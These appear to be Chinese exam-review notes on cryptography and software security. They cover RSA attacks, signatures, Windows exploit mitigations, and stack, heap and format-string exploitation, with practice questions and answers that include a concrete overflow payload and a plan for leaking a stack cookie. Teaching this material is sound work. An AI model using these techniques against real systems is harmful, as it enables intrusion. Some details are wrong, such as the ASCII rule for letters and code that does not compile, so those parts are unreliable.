      • 伪素数:由欧拉定理已知对于任意素数p和小于p的正整数a都有ap11modpa^{p-1}\equiv 1\mod p。因此对于奇合数n和a如果满足这样的关系,则称n是对于基a的伪素数。又容易知道若p为素数,则ap12(ap)modpa^{\frac{p-1}{2}}\equiv (\frac{a}{p})\mod p,因此对于奇合数n和a如果满足这样的关系则称n是对于基a的Euler伪素数。又有Fermat素性检测:若n为奇合数,n1=2stn-1=2^st,t为奇数。有整数a与n互素,且满足at1modna^t\equiv 1\mod n,或者存在一个r(0≤r<s)有a2rt1modna^{2^rt}\equiv -1\mod n则称n为基b的强伪素数。
      • Solovay-Strassen算法:反复选取a验证n是否是伪素数。验证错误概率不超过1/2。
      • Miller-Rabin算法:反复选取a验证n是否是强伪素数。验证错误概率不超过1/4。
    • 共模攻击原理:在课本RSA密码体系中,如果两个人拥有相同的公钥n,不同的e和d,则一个人发送的加密消息可以被另一个人轻易破解。攻击方M拥有其自己的e、d、密文c、对方A的e、n,其中c=memodnc=m^e\mod n,由RSA加密体系定义可知eAdA1modφ(n),eMdM1modφ(n)e_Ad_A\equiv 1\mod\varphi(n),e_Md_M\equiv 1\mod\varphi(n),因此如果有eAdA1mod(eMdM1)()e_Ad_A\equiv 1\mod(e_Md_M-1)(*),则一定有eAdA1modφ(n)e_Ad_A\equiv 1\mod\varphi(n),其中(*)式可以计算出一个d值用于解密A的消息,这个d不一定等于A本身的d,但一定可以进行解密。如果攻击者是第三者M,A和B具有相同的n,同样可以进行解密:二者加密相同的明文m得到c1=me1modn,c2=me2modnc_1=m^{e_1}\mod n,c_2=m^{e_2}\mod n,在e1、e2互素的情况下,可以找到r和s使得re1+se2=1,那么很容易得到c1rc2smmodnc_1^rc_2^s\equiv m\mod n,解出明文。
    • 小加密指数攻击:当e很小的时候,通过Coppersmith算法可以在log(n)的时间之内破解出较小的d(具体算法不要求)。因此建议使用的e最小应为65537,且短消息加密时应该首先进行填充。
    • 小解密指数Wiener攻击:适用于3d<n143d<n^{\frac{1}{4}}q<p<2qq<p<2q的情况,由于没有讲连分数相关定理与性质,只需要知道entd<13d2|\frac{e}{n}-\frac{t}{d}|<\frac{1}{3d^2},据此算出t(edtφ(n)=1ed-t\varphi(n)=1),然后根据pq=n,(p1)(q1)=φ(n)pq=n,(p-1)(q-1)=\varphi(n)计算q和p的值。
    • ElGamal加解密原理:常规的ElGamal加密中有一个随机数参与,能够有效抵御重放攻击。定义在一个模p的乘法群,选定本原元α\alpha和其a次方的值β\beta,a为私钥不可公开。加密选择随机数r,发送c1=αr,c2=xβrc_1=\alpha^r,c_2=x\beta^r,x为密文。解密即计算c2c1ac_2c_1^{-a}即可。实际上就是利用了a不可计算的特性,r无论选择什么都没有影响。
    • 数字签名的基本概念与作用:只有信息的发送者才能产生的别人无法伪造的一段数字串,能够证明签名的文本属于所有者发送,没有被修改。
    • ElGamal数字签名原理:与ElGamal加密方式类似,在模p乘法群中,本原元α\alphaαa=β\alpha^a=\beta,a为私钥。发送方计算数字签名γ=αrmodp,δ=(xaγ)r1modp1\gamma=\alpha^r\mod p,\delta=(x-a\gamma)r^{-1}\mod p-1,验证只需要验证βγγδαxmodp\beta^\gamma\gamma^\delta\equiv\alpha^x\mod p。这里的r为随机数,将左式中的γδ\gamma^\delta中的底数换成αr\alpha^r就很容易发现r可以被消去。
    • DSA数字签名原理:只能用于数字签名的一种算法。在模p乘法群中给定一个阶为q(素数)的元素α\alpha,和β=αa\beta=\alpha^a,k为随机数。$$sig_K(x,k)=(\gamma, \delta), \gamma=(\alpha^k\mod p)\mod q,\delta=(\operatorname {SHA-1}(x)+a\gamma)k^{-1}\mod q\
      e_1=\operatorname {SHA-1}(x)\delta^{-1}\mod q,e_2=\gamma\delta^{-1}\mod q\
      ver_K(x,(\gamma,\delta))=true\Leftrightarrow(\alpha{e_1}\beta{e_2}\mod p)\mod q=\gamma$$
    • PGP:安全协议。由一个对称算法EC/DC/Ks(密钥)、一个非对称加密算法EP/DP/KU(公钥)/KR(私钥)、一个压缩算法Z、哈希函数H。
      • 如果只需要对消息进行认证,则对消息取哈希值之后进行签名(使用私钥与非对称加密算法),将签名附在消息后面,以函数Z压缩发送。认证时首先进行解压缩,使用公钥进行认证即可
      • 如果只需要对消息进行加密,首先对消息进行压缩,使用密钥进行对称加密,使用公钥非对称加密密钥,组合后发送。接受者使用私钥获得对称加密的密钥,然后使用该密钥进行解密。
      • 如果既需要加密又需要认证,则首先进行认证步骤获得一个压缩后的文本,再进行加密。
      • 注:可供选择的对称加密算法:AES、DES、SM4;可供选择的非对称加密算法:RSA、ECC、ElGamal、Rabin、SM2;可供选择的哈希函数:MD5、SHA-x、SM3
      • 安全性分析:信息安全的三个要点是:机密性、完整性、可鉴别性。其中机密性指的是不能从密文直接得知明文;完整性指的是能够发现对密文的恶意修改。一般从机密性和完整性两个方面分析PGP的安全性。首先无论是需要加密还是认证,完整性都是必须要保证的。对于只进行消息认证的PGP,由于添加了数字签名,使得无论是对明文还是对签名进行修改都能够被发现(因为签名是基于明文产生的);对于只进行加密的PGP,其没有进行数字签名操作,修改加密密钥和密文都会导致明文解密错误,但攻击者可以伪造一条消息并进行加密。对于二者都有的PGP,由于首先就进行了数字签名,因此明文与数字签名无法被修改,而由于对称加密的密钥由公钥加密,因此攻击者也无法获得私钥解密出明文与数字签名。

10. 椭圆曲线密码 ECC

重点在于计算离散椭圆曲线密码的加和与乘积。

对于椭圆曲线方程y2x3+ax+bmodmy^2\equiv x^3+ax+b\mod m,计算两个点P,QP,Q的加和:
过两点的直线的斜率:λ=3x2+a2y(P=Q),yQyPxQxP(PQ)\lambda=\frac{3x^2+a}{2y}(P=Q),\frac{y_Q-y_P}{x_Q-x_P}(P\ne Q)
其和横坐标x=λ2xPxQx=\lambda^2-x_P-x_Q,纵坐标y=λ(xxP)+yPy=\lambda(x-x_P)+y_P

(虽然上面的公式在往年椭圆曲线的题目中都会给出,但最好还是记住,其中和的纵坐标不需要记,这就是计算直线上已知横坐标的某点的纵坐标,以点斜式代入直线即可算出。过两点直线的斜率可以通过求导算出,计算量也不大。重点是横坐标公式,需要记忆)

计算加速技巧:① 写出模域中各个元素的方根,然后进行计算对照即可。如计算y2=x3+x+1mod19y^2=x^3+x+1\mod 19中某个点的4倍,可以先写出1~18所有数模19的平方根。② 使用类似于平方重复法的方式运算。如计算某个点的16倍,不需要加16次,只需要加4次即可:A+A=2A,2A+2A=4A,4A+4A=8A,8A+8A=16A。以此来获得A的2k2^k倍的值。

Chapter 12 构建安全的软件

12.1 软件开发生命周期

  1. 分析阶段:软件需求分析。通过研讨或调查研究,对用户的需求进行收集,最后把它用标准的软件工程开发语言(需求规格说明书)表达出来。即建立软件的逻辑模型、编写需求规格说明书文档
  2. 设计阶段:概要设计和详细设计两个阶段。将软件分解成一个个模块并将模块内部的结构设计出来。
    • 结构化分析方法、数据流程图和数据字典等方法设计建 立相应的软件系统的体系结构
    • 模块设计,给出软件的模块结构,将整个系统分解成若干个子 系统或模块
    • 设计模块的程序流程、算法和数据结构,设计数据库
    • 编写软件概要设计和详细设计说明书,数据库或数据结构设计说明书
  3. 编码阶段:把软件设计转换成计算机可以接受的程序
    • 基于软件产品的开发质量的要求,充分了解软件开发语言、工具的特性和编程风格
    • 编码并提供源程序清单
  4. 测试阶段:
    • 白盒测试:依据的是程序内部的的逻辑结构来发现软件的编程错误、结构错误和数据错误,以较少的用例覆盖尽可能多的内部程序逻辑结果
    • 黑盒测试:依据的是软件的功能或软件行为描述,发现软件的接口、功能和结构错误,以较少的用例覆盖模块输出和输入接口
  5. 维护阶段:根据软件运行的情况,对软件进行适当修改,成本较高

12.2 软件设计阶段威胁建模

  • 在项目组中成立一个小组专门研究安全问题
  • 分解系统需求,按照需求规格说明书和设计文档中的内容,站在安全角度,分析系统在安全方面的需求
  • 确定系统可能面临哪些威胁
  • 画出威胁树,对软件可能收到的威胁进行表达。
    威胁树一般画3层:
    • 第一层写受到的攻击种类
    • 第二层写被攻击的原因
    • 第三层写具体攻击的处理方式
  • 选择应付威胁或者缓和威胁的方法:告知用户、排查与修复问题等
  • 确定最终技术:将最终选用的技术,直接在威胁树中描述或者用图表画出来

12.3 安全代码的编写

在编写代码的过程中考虑安全问题。如内存安全、线程安全、处理异常等

12.4 软件安全性测试

  • 确保软件不会去完成没有预先设计的功能
  • 确保软件能够完成预先设计的功能

进行安全测试,需要精湛的系统分析技术和反攻击技术。其特点是:

  • 非常灵活,测试用例没有太多的预见性
  • 没有固定的步骤可以遵循
  • 工作量大,并且不能保证完全地加以解决

12.5 漏洞响应和产品的维护

在发现漏洞时,要确保能够迅速确认、响应、修复漏洞,在发现漏洞后的第一时间采取措施

漏洞相应常规阶段:

  • 发现漏洞通知厂商
  • 确认漏洞和风险评估
  • 修复漏洞
  • 发布补丁及安全简报对外公布安全补丁

练习题
1. 某公司收到安全人员的报告,发现有一种恶意代码利用该公司编写的一款软件(需要网络连接)进行网络蠕虫传播,试画出威胁树进行分析。

解题技巧: 威胁树不同层级常用术语汇总
第一层:受到的攻击种类

  • 网络相关:SQL注入攻击、跨站脚本攻击、木马攻击、蠕虫攻击、DDoS攻击等
  • 非网络相关:缓冲区溢出等二进制漏洞攻击,病毒攻击等

第二层:受到攻击的原因

  • 存在零日漏洞(万能句)、安全测试覆盖面不足、软件设计缺陷、内部人员不当操作(如被社工)、工程师缺乏安全意识、没有及时安装补丁等

第三层:解决方案

  • 及时上报安全漏洞并做出应对措施、重新进行安全测试、重新审视软件设计方案,必要时需要停服解决设计缺陷、安装最新补丁,更新软件、进行流量捕获与分析,完善服务器相关代码等

Chapter 11 Windows系统安全机制及漏洞防护技术

11.1 DEP

DEP(Data Execution Protection/NX):禁用栈和堆区的代码执行,能够有效防止shellcode在栈和堆上执行

但会带来一定的兼容性和灵活性问题:如用于提取其他软件窗口上文字的软件,可能需要在栈或堆中执行代码,DEP启用后这类软件可能无法正常运行。

支持架构:Intel、AMD等

实现原理:将栈和堆的访问权限(属性)设置为NX

Windows选项:

  • Optin:DEP仅用于系统服务与进程(个人版默认)
  • Optout:排除列表程序外的所有程序启用(服务器版默认)
  • AlwaysOn:所有进程全部启用
  • AlwaysOff:所有进程全部禁用

绕过思路:Ret2Libc、ROP、JOP、COP等

11.2 栈溢出检查——GS

在所有函数栈帧高处放置一个Stack Guard(Windows中称为Stack Cookie,Linux中称为Canary),这是一个随机数,且可检验其是否改变。函数结束后会检查此处的值是否被修改。可以在一定程度上防范栈溢出。

  • 以.data节的第一个DWORD作为其种子,称为原始Cookie,所有函数的Cookie均使用这个种子生成。
  • 栈帧初始化后以ESP异或种子作为cookie使用,能够提升其随机性。
  • 函数返回前使用esp还原出种子
  • 调用Security_check_cookie函数进行校验。

当满足以下情况时不使用此种保护:

  • 函数无缓冲区
  • 函数被定义为具有变量参数列表(即可变参数)
  • 函数使用无保护的关键字标记
  • 函数第一条语句中含内嵌汇编代码
  • 缓冲区不是8字节类型且不大于4字节

使用#param strict_gs_check(on)选项可以强制对任意类型函数添加cookie

变量重排技术:将字符串变量移动到栈帧的高地址,即紧靠cookie的位置,这样一旦发生溢出能够立即发现,无论溢出多少字节。如果字符串变量距离cookie有一段距离,那么其溢出有限字节可能不会被cookie发现。

无法防御:

  • 未被保护的函数
  • 改写函数指针类攻击
  • 异常处理类攻击
  • 堆溢出攻击
  • 其他(如能够利用其他漏洞泄露cookie的值)

绕过方法:

  • 利用未被保护的函数
  • 覆盖C++虚函数指针
  • 攻击异常处理机制
  • 同时替换栈和data中的cookie

11.3 ASLR

地址空间布局随机化,使栈和堆的基址在加载时随机确定、程序自身和关联库的基址在加载时也随机确定

不足:

  • 需要和DEP配合使用。否则恶意代码可以通过程序进程表结构获取DLL加载基址
  • ASLR的随机性较小(仅针对32位windows系统,32位/64位linux系统有更好的随机性)
  • 兼容性问题(一些老处理器不支持等问题)
  • 地址部分覆盖(对于windows 32位系统只能控制程序地址随机化后两个字节,前两个字节不变,对于Linux系统则是最低12位不变,因为内存需要4KB对齐)

11.4 SafeSEH

保护、检测和防止堆栈中的SEH函数指针被覆盖的技术

  • 检查异常处理程序是否位于栈中
  • 如果异常处理程序指针不是栈中地址,会再次检查是否属于一个Image的地址空间(mmap映射机制,不做要求)

11.5 EMET

Enhanced Mitigation Experience Toolkit,含DEP、ASLR、SEHOP等防护措施

  • SEHOP:结构化异常处理覆写保护,对抗覆盖SEH攻击
  • EAF:导出表地址过滤:禁止shellcode搜索API地址
  • HeapSpray Allocations:将所有有可能被堆喷射的常见内存地址首先分配掉
  • Null Page Allocation:使用提前占位的方式将空指针未初始化之前默认指向的地址首先分配掉

练习题
1. 分析如下代码片段,回答下列问题:(29分)

1
2
3
4
5
void foo(){
char buf[0x20];
scanf("%s", buf);
printf(buf);
}

注:上述代码已开启Stack Cookie保护,未开启ASLR保护。
(1) 这段代码中存在的漏洞是________________________。(2分)
(2) 能否直接输入很多字符产生栈溢出?__________ ,简述Stack Cookie如何防止这一类栈溢出:___________________________________________________________________________________________________ (4分)
(3) 虽然我们不能直接进行栈溢出,但因为有____________漏洞的存在,使我们有可能_______________________________,从而绕过Stack Cookie的防护。注意,本程序没有开启ASLR防护,因此我们可以获取到_______________。请简述你的利用思路及这样利用能够成功的原因:________________________________________________________________________________,在这种绕过方式中,Stack cookie应作为printf的第___个参数输出。(10分)
(4) 这个函数的利用可能需要输入两次,在第一次输入后,你成功让这个函数又从头开始执行了一次,这样你就可以再一次进行输入。假设你第一次输入获取到的stack cookie为0xdeadbeef,函数第一次刚开始执行时esp=0x7f773484,则函数第二次执行时的stack cookie值应为 ____________(Stack cookie的生成方式即为GS栈溢出保护中的生成方式)(5分)

答案:
(1) 格式化字符串漏洞、栈溢出漏洞
(2) 不能;Stack cookie是一个随机数,置于函数栈帧的高地址端,栈溢出发生时可能会覆盖Stack cookie,在函数返回时对Stack cookie进行检查,若发现被修改,则会直接报错退出程序
(3) 格式化字符串漏洞;泄露Stack cookie的值;foo函数的起始地址;利用格式化字符串漏洞打印出Stack cookie的值(%x)及修改返回地址(%n);10
(4) 0xdeadbeeb

Chapter 10 漏洞利用

10.0 概念

安全事件与软件漏洞

  • 安全事件:攻击者在给定时间段内,利用漏洞或其他攻击手段在攻击对象中注入并触发恶意代码,产生拒绝服务、信息泄露、信息窃取、目标控制等后果的过程。
  • 漏洞:系统设计、实现或操作管理中存在的缺陷或弱点,能被利用而违背系统的安全策略。

漏洞分类与标准

按照漏洞威胁可分为:

  • 提权漏洞
  • 获权漏洞
  • 拒绝服务漏洞
  • 恶意软件植入漏洞
  • 数据丢失或泄露漏洞

按照漏洞成因可分为:

  • 输入验证漏洞
  • 访问验证漏洞
  • 竞态漏洞(竞争条件漏洞)
  • 意外情况处理漏洞
  • 设计漏洞
  • 配置漏洞
  • 环境漏洞

按照漏洞的严重性可分为:

  • A 类漏洞(高):威胁性最大的漏洞,往往由较差的系统管理或错误设置造成。
  • B 类漏洞(中):较为严重的漏洞,例如允许本地用户获得增加的和未授权的访问。
  • C 类漏洞(低):严重性不是很大的漏洞,例如允许拒绝服务的漏洞。

按照攻击被利用的方式可分为:

  • 本地攻击漏洞
  • 远程主动攻击漏洞
  • 远程被动攻击漏洞

重要网站:

  • CVE:漏洞暴露平台
  • CNVD:国家互联网应急中心
  • CNNVD:国家信息安全测评中心

漏洞利用对系统的威胁

  • 非法获取访问权限(获权)
    • 未经授权使用资源,如打印、读取、写、执行文件等
  • 权限提升(提权)
    • 用户账号由低权限提升到高权限
  • 拒绝服务
    • 使计算机软件或系统无法正常工作、无法提供正常服务
    • 本地拒绝服务:运行在本地的程序无法正常工作;远程拒绝服务:发送特定网络数据报文使提供服务的程序异常或退出
  • 恶意软件植入
    • 主动植入:利用正常功能或漏洞将恶意代码植入到目标之中,无需用户干预
    • 被动植入:将恶意代码植入时需要用户配合操作(木马、病毒等)
  • 数据丢失或泄露
    • 由于对文件访问权限设置错误导致数据被非法读取。如读取密码
    • 没有充分验证用户输入导致数据被非法读取。如Web相关漏洞
    • 系统漏洞,如DNS域传送漏洞

漏洞产生原因

逻辑错误、缺陷、社工、策略失误等,可以分为技术因素和非技术因素(大多为人为因素)

  • 技术错误:即上文提到的按漏洞成因分类的7种
  • 非技术错误:缺乏规范导致维护困难、缺乏测试与维护、开发团队不稳定、缺乏进度控制等

漏洞利用方式

  • 本地攻击模式:攻击者进入目标系统具有一定权限后进行的攻击。如内网渗透等
  • 远程主动攻击模式:攻击者以网络连接发现目标漏洞后进行攻击
  • 远程被动攻击模式:攻击者向目标发送网页、文档等点击后触发漏洞

软件漏洞生命周期

  • 漏洞挖掘
  • 漏洞重现
  • 漏洞诊断
  • 漏洞修复
  • 补丁测试
  • 补丁推送

(攻击者在其中任何一个时候都能够对系统造成损失)

典型软件漏洞

  • 缓冲区溢出:在下面会具体说明
  • 注入攻击:如SQL注入、系统命令注入、脚本注入等,多为对用户的输入检查不严格导致。
  • 跨站漏洞:跨站脚本攻击(XSS),攻击者将恶意脚本代码嵌入到Web页面中,用户打开后执行其中的代码触发漏洞或获取网站权限。(被动攻击)
  • 权限漏洞:访问控制机制上存在的漏洞。如Linux Kernel Pwn即利用Linux内核模块实现用户权限到root权限的提升。

10.1 栈缓冲区溢出

一、栈

  • 栈是一段连续的地址空间,是一个后进先出的数据结构,由高地址向低地址增长。
  • 每一个线程都有一个自己的栈,提供一个暂时存放数据的地方。
  • push将esp下压,pop将ebp上抬
  • esp指向栈顶,ebp指向栈帧底部。

注意:栈地址空间中保存的是程序执行时使用的局部变量,在main函数或其他函数中定义的变量均保存在栈中。代码中的字符串常量(如printf(“Hello world”))定义于rdata段,初始化的全局变量定义于data段,未初始化的全局变量定义于bss段。

栈中包含:

  • 函数参数
  • 函数返回地址
  • ebp的值
  • 一些通用寄存器的值
  • 当前执行的函数的局部变量

函数调用过程:

  1. call指令执行之前,程序首先将函数需要的参数逐一push进栈中。(有几种不同的参数压入顺序)
  2. 执行call指令跳转eip到函数开头。call指令将eip压入栈中。
  3. 函数开头一般会执行指令push ebp; mov ebp, esp,保存前一个栈帧的地址。
  4. 之后esp可能会根据该函数中定义的所有局部变量需要占用的空间进行自减,以保证esp和ebp之间能够有充足的空间保存局部变量。
  5. 开始执行函数功能,函数调用过程结束。

函数调用类型:(32位)

  • __cdecl:C调用规则,在后面的参数首先进入堆栈,参数返回后调用者负责清除堆栈,因此这种调用常会产生较大的可执行程序
  • __stdcall:标准调用,在后面的参数首先进入堆栈,被调用的函数返回前自行清理堆栈,生成的代码比cdecl小
  • __fastcall:将函数列表前两个参数放入寄存器,其他函数压栈,后面的参数首先进入堆栈,被调用者清理堆栈
  • Pascal:基本不用,前面的参数首先进入堆栈,不支持可变参数的函数调用

函数返回过程:

  1. esp上抬到达ebp的位置,局部变量不作处理全部放弃,也不会将这段内存清零。
  2. ebp找到父函数栈帧的底部(函数调用时已经保存在ebp指向的内存空间)并上抬(pop ebp)。
  3. retn返回,返回到父函数call指令之后一条指令。

二、栈溢出

特点:

  • 缓冲区在栈中分配
  • 拷贝的数据过长且没有进行检查
  • 覆盖了栈中的一些重要数据,如ebp、返回地址、某些关键局部变量等

产生原因:

  • C语言中有大量没有溢出保护的函数,如*scanf系列、*printf系列、gets函数、strcpy函数、strcat函数等(注:read函数理论上可以读取零字节,因此较strcpy等函数具有更高的危险性)
  • 程序员缺乏安全意识

shellcode和payload

  • shellcode是能完成一种特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或是进行高权限操作。
  • payload:shellcode以及实现跳转到shellcode的那部分填充代码的统称。

栈溢出shellcode的NSR模式:

  • S——shellcode,首先写入栈的低地址处
  • R——return address,返回地址,通常写入jmp esp的地址,在S之上
  • N——nops,无效指令,在R之上

注意:NSR模式构造的shellcode很可能会失败,原因多种多样。有时jmp esp后栈中的内容会被修改,导致shellcode执行失败。此时可以利用SEH进行攻击。

什么是SEH?
结构化异常处理(StructuredExceptionHandling,SEH)是Windows操作系统处理程序错误或异常的技术。SEH是Windows操作系统的一种系统机制,与特定的程序设计语言无关。SEH的注册结构体只能作为局部变量存在于当前线程的调用栈,如果一旦结构体的地址不在当前调用栈的范围中,则在进行异常分发时,将不会进入该函数。即我们可以通过栈溢出修改SEH中函数指针的值。SEH是基于线程的一种处理机制,且依赖于栈进行存储和查找,所以被称作是基于栈帧的异常处理机制。有关于其具体实现与功能需要对windows异常处理机制有更加深入的了解,考试不做要求。

fs:[0]指向SEH的初始地址,通过获取该地址以确定溢出的长度,这个长度必须确定以保证能够正确覆盖关键函数指针。将指针覆盖为类似于jmp esp指令的地址,即可执行shellcode。

shellcode的特点

  • 长度受限(不是所有),具体问题具体分析。
  • 不能使用特定字符,如’\x00’(read函数是唯一能够接收’\x00’的函数)
  • API函数自搜索和重定位能力
  • 一定的兼容性(很难,windows和linux的内存空间和内核排布很不一样)

练习题

1. 分析如下代码片段,回答下列问题。(25分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bool guess(){
FILE* fd = open('/etc/urandom', 'r');
int answer = 0;
read(fd, (char*)(&answer), 4);
char buffer[0x10] = {0};
// 此时answer是一个随机数,不可预测
printf("Guess a number that I'm thinking...");
printf("You can input something first...");
scanf("%s", buffer);
printf("Now guess...");
scanf("%d", &guess);
if(guess == answer){
printf("Congratulations!");
system("calc.exe");
}else{
printf("Guess incorrect, no calc!!!");
exit(0);
}
return True;
}

注:①本函数中先定义的随机变量在栈中的地址在后定义的随机变量之上。②数字a的ASCII码为0x30+a,大写字母的ASCII码为0x40+字母序号(A为0,B为1,…,Z为25),小写字母的ASCII码为0x60+字母序号

(1) 简述该函数的执行流程,说明弹出计算器所需的条件。(4分)
(2) 本函数中存在什么漏洞?(3分)
(3) 当第一个输入为’12345678901234567890abcdefABCDEF\n’时,answer的值为_________(填16进制,2分),返回地址的值为_________(填16进制,2分),那么第二个输入为_________(3分)时可以成功弹出计算器。弹出计算器之后,这个程序很有可能会______________________(2分),原因是_______________________(2分)。
(4) 请写出改进方案,修复这个漏洞使计算器不那么容易被弹出。(7分)

答案:
(1) 本程序产生了一个随机数,之后可以在buffer中写入字符串,然后输入一个数字,如果这个数字与随机数相等,则弹出计算器。弹出计算器的条件是猜的数字与随机数相等。
(2) 栈溢出漏洞
(3) 0x30393837;0x42416665;809056311;崩溃;返回地址可能无效
(4) 将scanf("%s", buffer);修改为scanf("%16s", buffer);

2. 分析如下代码片段,回答下列问题:(30分)

1
2
3
4
5
6
7
8
9
void vuln(){
void (*exec)(const char*) = NULL;
void (*func)(const char*) = system;
char buffer[16];
gets(buffer);
printf("%s", buffer);
if(exec != NULL)
exec(buffer);
}

注:①通过反汇编找到vuln函数的起始地址为0x405678。②本函数中先定义的随机变量在栈中的地址在后定义的随机变量之上。

(1) 简述该函数的执行流程。(4分)
(2) 通过反汇编可以得到该函数的汇编代码,已知前几条语句如下,请填写前两空,第三空填写的数值x一定有______________。(3分)

1
2
3
4
push ebp
mov ___, ___
sub esp, ___
......

(3) 当输入长度为________时,程序会______________________________,从而获得system函数在内存中的地址。(4分)
(4) 如果这个函数只被调用了一次,能否仅通过这个函数弹出计算器?_____ 。为什么?__________________________________ 。(4分)
(5) 第一次函数调用时,你输入了第(3)题长度的payload,printf函数只显示了你输入的内容,可能的原因是_____________________________。(4分)在函数下一次调用时,你应该如何获取system函数的地址?__________________________________。(4分)
(6) 通过第一次函数调用的漏洞利用,获取到system函数的地址为0x7FAD8341,在该函数第二次被调用时,能否利用漏洞弹出计算器?若能,写出一个有效的输入并简述函数执行流程;若不能,说明理由。如果system函数的地址为0x7FAD8300呢?(7分)

答案:
(1) 函数首先接收任意长度的输入,然后检查exec函数指针是否为空,若不为空则执行到exec处。
(2) ebp;esp;x>=24
(3) 16;在printf输出时将system函数的地址接在输入后面输出
(4) 不能;无法控制exec的值,system的地址也不知道因此无法修改返回地址
(5) system函数地址最低位为空字节;尝试输入17、18、19字节数据,直至能够输出system函数的高位地址
(6) 能。输入为calc.exe(后接12字节空格)\x41\x83\xAD\x7F;不能,会截断。

10.2 堆缓冲区溢出与格式化字符串漏洞

一、堆

  • 堆是存放程序中请求操作系统分配给自己的内存段,其大小不固定,可以进行动态扩大与缩小。操作系统中采用动态链表管理,其内存不一定连续。
  • 每一个进程都有一个自己的堆(区别栈是每一个线程有一个)
  • 使用malloc系列函数(malloc、calloc、realloc等)/new/mmap等函数分配堆空间;使用free/delete/unmap等函数释放堆空间。(调用的系统函数基本上相同)

注意:两个程序动态申请的堆空间地址完全有可能相同。要搞清楚虚拟地址和物理地址的区别,程序中直接操作的是虚拟内存地址,由操作系统从物理地址中映射而来,并非物理内存地址。但两个程序分配的堆地址的物理地址也有可能相同。两个程序可以交错使用这块内存。

结构:堆表和堆块。

  • 堆表:位于堆空间起始位置,用于索引堆区中所有堆块的重要信息。在windows堆管理机制中,将堆表分为两种:快表(Lookaside)和空表(FreeList)。
    • 空表:共128项的数组,每个数组是一个双向链表头,除索引0的链表外每个链表中存放相同大小的堆块。其中索引为x的链表存放大小为8x的空闲堆块,因此1~127共可以存放8~1016字节的堆块。(32位)索引为0的链表存放大小大于等于1024的堆块,按照从小到大的顺序排列。在实际分配内存流程中,为防止堆空间的碎片化,会对相邻的均处于空表中的堆块进行合并与重新排列。
    • 快表:共128项的数组,采用单向链表存储,其中的堆块不合并且每一个链表最多存放4个堆块。其中索引为1~127的链表存放的堆块大小与空表相同。
  • 堆块:一块块分离的,碎片化的地址空间,由块首和块身构成。
    • 块首:头部几个字节,用于标识自身信息(大小,使用情况等)
    • 块身:数据存储区域,紧跟块首,内存分配得到的地址指向块身的头部。在堆块被释放时,块身的前8个字节用于存放堆表中双向链表的向前指针Flink和向后指针Blink。
  • HEAP区总体结构:
    • hHeap:HEAP的总体管理结构,句柄
    • 双指针区:定位分配内存、释放内存的位置,存放一些成对出现的指针
    • 用户分配内存区

堆管理相关寄存器:

  • eax:一般代码中用作返回值
  • ecx:一般代码中用作计数器
  • mov [ecx], eax; mov [eax+4], ecx

堆块关键操作:

  • 申请堆块时的脱链操作:即双向链表的脱链操作,汇编指令为mov [ecx], eax; mov [eax+4], ecx
  • 释放堆块时的入链操作:根据设计思想,应首先判断前后是否能进行堆块合并,若进行合并则需要进行脱链操作,再将合并后的堆块放入指定的链表中。

二、堆溢出

利用思路1:

  • 使用mov [ecx], eax; mov [eax+4], ecx完成对任意地址的控制。
  • 使用[esi+0x4C]指向下一个空闲堆块头部结构
  • 当有不能处理的异常发生时,系统调用UnhandledExceptionFilter函数,其实就是call [0x77EC044c],即执行0x77EC044c指向的异常处理程序。因此修改此处地址即可。
  • 随着防护措施的改进,上述思路在当前windows系统中已基本不可用。

利用思路2:堆喷射

  • 向堆中注入大量数据,使数据填满特定内存地址空间,当栈溢出时可以引导EIP到堆的空间。其中填充的数据是大量重复的nop指令,如果之后eip能够指向这段nop指令,就能够一直执行到后面的shellcode。这段nop充当类似“滑梯/滑板”的作用。
  • 目前依然流行,常见于解释JavaScript的浏览器和PDF解释器
  • 申请大量内存时。堆很有可能覆盖到0x0A0A0A0A(162M)、0x0C0C0C0C(192M)、0x0D0D0D0D(208M)
    传统的堆喷射使用JavaScript分配内存,根据堆喷射的思想,都是用同样一个指令覆盖一大片内存地址。在每块分配到的内存最后都附加shellcode。这个指令应相当于Nops的作用,且该指令指向的地址正好应落在覆盖的这片大的内存地址中。
    指令0C0C对应汇编代码为or al, 0C,对寄存器影响最小,可以起到Nops的作用。如果将eip指向0x0C0C0C0C这个地址(产生异常时可能可以实现),就会在这片内存中不断执行下去直到shellcode为止。
  • 优点:
    • 增加缓冲区溢出攻击的成功率
    • 覆盖地址可以简单使用类NOP指令覆盖
    • 可用于堆栈溢出攻击,用slidecode覆盖堆栈返回地址
  • 缺点:
    • 会导致被攻击进程内存占用暴增,容易被发现
    • 不能用于主动攻击,一般通过栈溢出利用或其他漏洞进行协同攻击
    • 如果目的地址被shellcode覆盖,则shellcode执行会失败,因此不能保证一定成功
  • 检测与防范:
    • 发现应用程序的内存大量增加,检测堆上的数据,看是否包含大量slidecode
    • 浏览器的脚本解释器开始重复申请堆的时候,监控模块记录堆的大小、内容和数量,如果重复堆请求到达阈值或者覆盖指定地址则立即阻止脚本执行。
    • 对于一些利用脚本进行攻击的情况,可以通过hook脚本引擎,分析脚本代码,根据一些堆喷射常见特征检测是否受到攻击
    • 开启DEP

利用思路3:Use After Free

  • 当一块堆空间被释放,对这段内存空间进行操作即称为UAF。
  • 由于windows内存空间中被释放的堆块的块身中存放有两个指针,通过UAF可以对这两个指针进行修改以破坏堆表的双向链表结构。

三、格式化字符串漏洞

  • 适用于printf函数系列。
  • 产生原因:
    • printf的不定长参数个数,且没有进行检查。
    • printf的%n能够对一段地址空间的值进行修改。(其功能是将前面已经打印出的字符个数赋给对应的地址
  • 通过静态扫描容易发现。

模拟题

3. 分析如下代码片段,回答下列问题:(24分)

1
2
3
4
5
6
7
8
9
10
void vuln(){
char of[0x10] = {0};
char buf1[0x100] = (char*)malloc(0x100);
printf("%p", buf1);
char buf2[0x100] = (char*)malloc(0x100);
scanf("%s", buf1);
printf("%s", buf1);
gets(of);
free(buf2);
}

注:①本函数中先定义的随机变量在栈中的地址在后定义的随机变量之上。②执行函数发现,函数的第一个输出为0x1030000,第二个堆块紧邻第一个堆块且在第一个堆块之上。

(1) 本函数存在2个漏洞,分别是____________________________(2分)。
(2) 本题能否直接在栈上写入shellcode?____ ,原因是__________________________。(4分)
(3) 本题能否直接在buf1中写入shellcode?____ ,原因是__________________________。(4分)
(4) 本题能够直接在buf2中写入shellcode,前面的地址填充无效地址?____ ,原因是___________________________。(4分)
